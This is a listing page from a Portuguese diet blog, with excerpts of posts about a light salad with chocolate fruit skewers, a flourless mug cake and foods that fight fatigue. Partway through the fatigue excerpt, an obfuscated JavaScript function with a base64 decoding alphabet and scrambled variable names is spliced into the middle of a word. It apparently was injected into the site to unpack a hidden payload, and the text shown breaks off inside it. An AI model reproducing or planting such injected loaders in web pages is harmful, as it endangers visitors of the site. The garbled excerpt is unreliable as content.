Salada fresca e saudável + espetadas de fruta com chocolate negro

[mashshare]
Salada fresca e saudável + espetadas de fruta com chocolate negro   O calor está aí e, com ele, a preocupação em ver os números da balança descer. Por isso hoje trago-lhe duas receitas: salada e sobremesa ligeiras sem culpa, sem gordura e sem açúcar. Duas receitas...

Bolo de fruta na caneca sem farinha e sem culpa

[mashshare]
Bolo de fruta na caneca sem farinha e sem culpa     Comer um docinho sabe sempre bem e, para quem está de dieta, é tãoooo difícil de resistir à tentação! Hoje trago-lhe uma boa novidade: a receita de um bolo de fruta na caneca sem farinha e sem culpa! Sem culpa porque...

10 alimentos para combater a fadiga

[mashshare]
10 alimentos para combater a fadiga   De certeza que sabe reconhecer o estado de fadiga. É qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...